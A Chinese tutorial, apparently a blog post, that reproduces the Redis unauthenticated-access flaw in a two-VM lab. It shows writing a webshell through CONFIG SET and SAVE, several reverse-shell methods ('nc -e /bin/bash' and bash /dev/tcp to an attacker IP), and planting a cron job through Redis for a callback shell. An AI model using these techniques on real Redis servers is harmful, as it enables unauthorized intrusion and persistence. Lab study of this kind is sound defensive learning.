漏洞场景:

Redis 4.x/5.x 未授权访问漏洞:
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过 EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器。
还能被利用去挖矿。

Redias:

Redis的常见数据类型:
①: String:字符和整型。 缓存、分布式session、分布式锁、全局ID、计数器、限流
②:Hash:哈希表。 存储一个对象、存储一张表的数据、购物车
③:List:有序数组。消息列表、文章列表、评论列表、公告列表、活动列表
④:Set:无序集合。抽奖、点赞、签到打卡、商品标签
⑤:ZSet:有序集合。 排行榜

Redis受众广的原因:
1、数据类型丰富,应用场景广泛
2、纯内存的数据结构,速度快
3、功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)

漏洞复现

①. 前期环境准备:

两台linux主机(我用的CentOS7),安装上redis,一台安装用作服务端,一台用作客户端。

最好把防火墙关闭,来复现。
stemctl stop firewalld
下述方法是在直接关闭防火墙不能访问端口7777的情况,一般直接关闭防火墙就可以了
systemctl status firewalld ###查看防火墙的状态
systemctl start firewalld ###启动防火墙
firewall-cmd --zone=public --add-port=7777/tcp --permanent ###在防火墙中添加7777端口,允许访问
firewall-cmd --reload ###重启
systemctl stop firewalld ###关闭防火墙

②. 前期redirs的知识:

 一:持久化机制:redis的数据是存内存,所以访问数据快,但是存储在内存中不可靠,一旦断电数据就丢失了,要避免丢失数据采用持久化机制,不定期的将内存中的数据保存在磁盘中。   持久化机制: RDB(Redis DataBases)、AOF(Append Only File)  在redis安装目录下,redis.conf 文件中,找到SNAPSHOTTING 配置,他就是持久化的配置。 配置说明,1:自动刷盘机制,key在900秒内改变1次就执行一次 保存磁盘。 key 在300秒内改变10次就保存在磁盘一次。这些规则不冲突,满足就执行。保存在那个文件中呢?  答:在配置文件中找到dbfilename,默认的是dump.rdb,要想修改,就在配置文件中找到  **dir ./**  换上你要存储文件的完整的路径名。![在这里插入图片描述](https://img-blog.csdnimg.cn/c68d83cd0fc24173b54bd7fe398eb627.jpeg#pic_center)

保存文件
2: 手动刷盘:save 或者 bgsave

示范:
先把dump.rdb清空:

在客户端中将手动刷盘,
再去dump.rdb中查看。可以看到保存上了。

二:动态修改配置
上面提到的,持久化的配置应该要到配置文件中去修改。还能动态修改。 config set (它是不是永久修改,重启以后失效)

config set dir /www/admin/localhost //修改保存的路径名
config set dbfilename redis.php // 修改保存的文件

想一想,利用持久化和动态修改配置是不是就可以任意写入数据到文件中,【连接到redis,写入数据(可以是恶意代码哦),再把保存的文件改变,手动save一下,那就任意写入内容到文件中。】

**③ : 利用redis漏洞,进行webshell提权

(现在站在上帝视角去看)**
在Redis服务器中安装了apache,利用它。
在搭建的时候先查看本机有没有装Apache服务命令 :rpm -qa |grep httpd ,查看系统中已安装的所有apache软件包列表。
有了网站的根目录在:/var/www/html

在客户端连接上redis:


上传了一句话木马,访问一下。(编码格式有问题,不影响)用蚁剑等webshell工具连一下,这就相当于直接连接上服务器了(服务器的防护都关闭了的)

④ 反弹连接(一句话木马容易被删除)

为什么要反弹连接:

  1. 内网,私有ip(我们的公网IP无法连接)。
  2. IP地址不固定。
  3. 6379端口不允许入方向的。
  4. 一句话木马被杀毒软件删除。

我们攻击机连接不上,没办法连接到靶机, 换个思路,让靶机来向我们的攻击机连接。

如何操作呢?
1.需要一个端口,让靶机来连接。
2.需要监听这个端口,确认它来连接了。

如何监听端口呢?? 常用的监听方式

  1. netcat(网络攻击界的瑞士军刀):nc -lvp 7777** (-nlvp lvvp) 参数含义监听7777端口并给出详细信息
  2. msf【kali中自带】
  1. socat 【kali中】 : socat TCP-LISTEN:7777 -

建立反弹连接: 先监听:nc -lvp 7777 下图是监听到后的了。(攻击机中监听)

方法一:bash反弹(靶机中操作)【后面的方法其实也是基于bash的】

输入上面的命令,监听端口会收到的。 这样反弹连接建立了,我们就可以在攻击机中操作靶机的。比如ifconfig,查看的是靶机的网络信息

方法二: python(靶机要有这个环境) 还是监听(攻击机上操作)
反弹连接:

出现图中黑色选定的就反弹连接建立成功了,还是用ifcnfig来测试,是否可以查看靶机IP

方式三: netcat的方式

nc -e /bin/bash 192.168.142.96.222 (在靶机中输入)
效果一样的不截图了

方法四:各种语言的代码来建立反弹连接
用法自查

方法五:MSF 这个在kali中可以很简单的就使用哦,配合msf监听模块使用
在这个工具MSF中可以生成各种类型语言的payload,

分析bash命令:

反弹连接是如何成立的

  1. bash -i 打开交互式的终端
  2. & 将标准错误输出合并到标准输出

  3. /dec/tcp/192.168.96.222/7777 打开一个设备文件,连接IP端口
  4. 0>$1 将标准输入重定向到标准输出中 ,这个关键哦,将我们输入的输出到远程主机中。命令执行。

④ Redis写入反弹连接任务

定时任务:定时重启主机,执行任务存储数据等等
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。不用记,要用时去查就好了
设置一个定时任务 每过一分钟向 /test.txt 输入hello :
步骤 :

  1. crontab -e ## 进入定时任务的编辑模式
  2. */1 * * * * echo “hello”>>/test.txt ## 输入到编辑页面中
  3. crontab -u root -l ## 看root的任务列表,加入了我们输入的任务
  4. tail -f /test.txt ## 看现象

定时任务常用命令:
Ⅰ: crontab -u root -r 删除某个用户的任务
Ⅱ:crontab -u root time.cron 把文件添加到某个用户的任务
Ⅲ:crontab -u root -l 列举某个用户的任务
Ⅳ:crontab -u root -e 编辑某个用户的任务

上述是一些基础的定时任务的东西,
要知道Linux一切皆文件,定时任务也是这样的。

/etc/crontab 放的对应周期的任务 hourly(每小时允许的) 、weekly(每周运行的)等
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab

现在了解到定时任务了。就可以结合redis建立反弹连接。

步骤:
先在攻击机上监听:
再在攻击机上连接redis服务器,进行渗透。命令上图前的命令,

刷盘后只需要等待监听的结果就行,等待一分钟就能监听到。

redis未授权访问漏洞相关推荐

  1. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  2. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  3. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  4. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  5. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  6. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  7. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  8. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  9. Redis 未授权访问漏洞与getshell(附getshell检测工具)

    0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...

  10. Redis未授权访问漏洞复现

    Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...

最新文章

  1. 2.5 导数-深度学习-Stanford吴恩达教授
  2. eslint git提交不上_Git常用命令及日常问题集锦
  3. Java加密与解密的艺术~AES-GCM-NoPadding实现
  4. centos7 配置http服务器
  5. Android笔记 notification
  6. MyBatis框架笔记02:接口方式使用MyBatis
  7. Python 三元表达式、列表推导式、生成器表达式
  8. 学习ASP.NET Core Razor 编程系列六——数据库初始化
  9. Python适合初学者入门
  10. 圆为什么有360度?
  11. PL/SQL Developer使用技巧、快捷键(转发)
  12. Unix C编程:共享内存示例 测试代码
  13. MyBatis官方文档——Java API部分
  14. 使用NSSM配置守护进程 Nginx(Windows)
  15. Rapid miner
  16. 第八篇,滤波:二阶低通滤波、卡尔曼滤波
  17. 乐高凯德机器人_乐高机器人体验课
  18. matlab set函数
  19. postgres查询序列_PostgreSQL 序列使用
  20. 为什么说社群团购时代来临了?

热门文章

  1. 吉他调音软件 android,吉他调音器专业版
  2. 基于情感词典的文本情感分类
  3. 查看本地硬盘raid级别linux,linux 下查看硬盘型号、大小等信息(含Raid)
  4. (笔试题)风口的猪-中国牛市
  5. 优秀课程案例:使用Scratch制作打弹球游戏3-过关增强版
  6. 艾奇android视频格式转换器,艾奇全能视频格式转换器
  7. 安卓模拟经营类游戏_十大最诱人手机模拟经营类游戏专题
  8. Learning ImageMagick 1: Lomo效果
  9. 第三方支付架构设计之:自有账户支付(六)
  10. RGGEDU-Rob Grimm静物食物美食菜谱摄影技巧与后期-中文字幕